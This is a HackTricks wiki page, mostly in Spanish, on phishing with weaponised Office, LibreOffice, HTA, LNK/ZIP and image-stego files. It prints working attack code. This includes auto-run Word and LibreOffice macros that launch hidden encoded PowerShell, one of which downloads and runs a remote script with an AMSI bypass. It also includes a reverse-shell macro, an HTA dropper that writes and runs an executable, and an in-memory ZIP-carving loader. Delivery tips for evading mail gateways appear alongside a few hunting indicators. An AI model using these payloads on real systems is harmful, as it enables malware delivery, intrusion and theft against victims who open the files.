Phishing Files & Documents
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Documentos de Office
Microsoft Word realiza una validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de la estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.
Normalmente, los archivos de Word que contienen macros usan la extensión .docm. Sin embargo, es posible renombrar el archivo cambiando la extensión y aun así mantener sus capacidades de ejecución de macros.
Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.
Los mismos detalles internos y mecanismos se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint, etc.).
Puedes usar el siguiente comando para comprobar qué extensiones se van a ejecutar por algunos programas de Office:
assoc | findstr /i "word excel powerp"
Los archivos DOCX que hacen referencia a una plantilla remota (File –Options –Add-ins –Manage: Templates –Go) que incluye macros también pueden “ejecutar” macros.
Carga de imagen externa
Ir a: Insert –> Quick Parts –> Field
Categorías: Links and References, Field names: includePicture, y Nombre de archivo o URL: http://
.png)
Macros Backdoor
Es posible usar macros para ejecutar código arbitrario desde el documento.
Autoload functions
Cuanto más comunes sean, más probable será que el AV las detecte.
- AutoOpen()
- Document_Open()
Macros Code Examples
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Eliminar metadatos manualmente
Ve a File > Info > Inspect Document > Inspect Document, lo que abrirá el Document Inspector. Haz clic en Inspect y luego en Remove All junto a Document Properties and Personal Information.
Extensión de documento
Al terminar, selecciona el desplegable Save as type, cambia el formato de .docx a Word 97-2003 .doc.
Haz esto porque no puedes guardar macros dentro de un .docx y existe un estigma en torno a la extensión habilitada para macros .docm (p. ej., la miniatura tiene un gran ! y algunos gateways web/email los bloquean por completo). Por lo tanto, esta extensión legada .doc es la mejor opción.
Generadores de macros maliciosas
Macros ODT auto-ejecutables de LibreOffice (Basic)
Los documentos de LibreOffice Writer pueden incrustar macros Basic y autoejecutarlas cuando se abre el archivo vinculando la macro al evento Open Document (Tools → Customize → Events → Open Document → Macro…). Un macro simple de reverse shell se ve así:
Sub Shell
Shell("cmd /c powershell -enc BASE64_PAYLOAD"""")
End Sub
Nota las comillas dobles ("") dentro de la cadena – LibreOffice Basic las usa para escapar comillas literales, por lo que los payloads que terminan con ...==""") mantienen tanto el comando interno como el argumento de Shell balanceados.
Delivery tips:
- Save as
.odtand bind the macro to the document event so it fires immediately when opened. - When emailing with
swaks, use--attach @resume.odt(the@is required so the file bytes, not the filename string, are sent as the attachment). This is critical when abusing SMTP servers that accept arbitraryRCPT TOrecipients without validation.
Archivos HTA
Un HTA es un programa de Windows que combina HTML y lenguajes de scripting (como VBScript y JScript). Genera la interfaz de usuario y se ejecuta como una aplicación “fully trusted”, sin las restricciones del modelo de seguridad de un navegador.
Un HTA se ejecuta usando mshta.exe, que normalmente viene instalado junto con Internet Explorer, lo que hace que mshta dependa de IE. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forzar la autenticación NTLM
Hay varias formas de forzar la autenticación NTLM “remotely”, por ejemplo, podrías añadir imágenes invisibles a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la ruta de archivos que disparará una autenticación solo por abrir la carpeta.
Consulta estas ideas y más en las siguientes páginas:
Force NTLM Privileged Authentication
NTLM Relay
No olvides que no solo puedes robar el hash o la autenticación, sino también realizar NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader real de PowerShell está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
Flujo típico implementado por el one-liner de PowerShell dentro del .lnk:
- Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el directorio padre del directorio de trabajo actual.
- Leer los bytes del ZIP y encontrar un marcador hardcoded (e.g., xFIQCV). Todo lo que venga después del marcador es la payload de PowerShell embebida.
- Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para parecer legítimo.
- Bypass AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Desofuscar la siguiente etapa (e.g., eliminar todos los caracteres #) y ejecutarla en memoria.
Ejemplo de esqueleto PowerShell para extraer y ejecutar la etapa embebida:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Notas
- La entrega a menudo abusa de subdominios reputados de PaaS (p. ej., *.herokuapp.com) y puede condicionar los payloads (servir ZIPs benignos según IP/UA).
- La etapa siguiente frecuentemente descifra shellcode en base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
Persistence used in the same chain
- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a lanzar el payload automáticamente. Ver detalles y comandos listos para usar aquí:
Hunting/IOCs
- ZIP files que contienen la cadena marcador ASCII (p. ej., xFIQCV) añadida a los datos del archivo.
- .lnk que enumera carpetas parent/user para localizar el ZIP y abre un documento señuelo.
- AMSI tampering vía [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Hilos de negocio de larga ejecución que terminan con enlaces alojados bajo dominios PaaS de confianza.
Steganography-delimited payloads in images (PowerShell stager)
Recent loader chains deliver an obfuscated JavaScript/VBS that decodes and runs a Base64 PowerShell stager. That stager downloads an image (often GIF) that contains a Base64-encoded .NET DLL hidden as plain text between unique start/end markers. The script searches for these delimiters (examples seen in the wild: «<<sudo_png>> … <<sudo_odt>>>»), extracts the between-text, Base64-decodes it to bytes, loads the assembly in-memory and invokes a known entry method with the C2 URL.
Workflow
- Stage 1: Archived JS/VBS dropper → decodes embedded Base64 → launches PowerShell stager with -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager → downloads image, carves marker-delimited Base64, loads the .NET DLL in-memory and calls its method (e.g., VAI) passing the C2 URL and options.
- Stage 3: Loader retrieves final payload and typically injects it via process hollowing into a trusted binary (commonly MSBuild.exe). See more about process hollowing and trusted utility proxy execution here:
PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:
PowerShell stego payload extractor and loader
```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<Notas
- This is ATT&CK T1027.003 (steganography/marker-hiding). Markers vary between campaigns.
- AMSI/ETW bypass and string deobfuscation are commonly applied before loading the assembly.
- Detección: escanear imágenes descargadas para delimitadores conocidos; identificar PowerShell que accede a imágenes y decodifica inmediatamente blobs Base64.
See also stego tools and carving techniques:
Quick Triage Checklist First 10 Minutes
JS/VBS droppers → Base64 PowerShell staging
A recurring initial stage is a small, heavily‑obfuscated .js or .vbs delivered inside an archive. Its sole purpose is to decode an embedded Base64 string and launch PowerShell with -nop -w hidden -ep bypass to bootstrap the next stage over HTTPS.
Lógica esqueleto (abstracta):
- Leer el contenido del propio archivo
- Localizar un blob Base64 entre cadenas basura
- Decodificar a ASCII PowerShell
- Ejecutar con
wscript.exe/cscript.exeinvocandopowershell.exe
Pistas de hunting
- Archived JS/VBS attachments spawning
powershell.exewith-enc/FromBase64Stringin the command line. wscript.exelaunchingpowershell.exe -nop -w hiddenfrom user temp paths.
Windows files to steal NTLM hashes
Check the page about places to steal NTLM creds:
References
- HTB Job – LibreOffice macro → IIS webshell → GodPotato
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


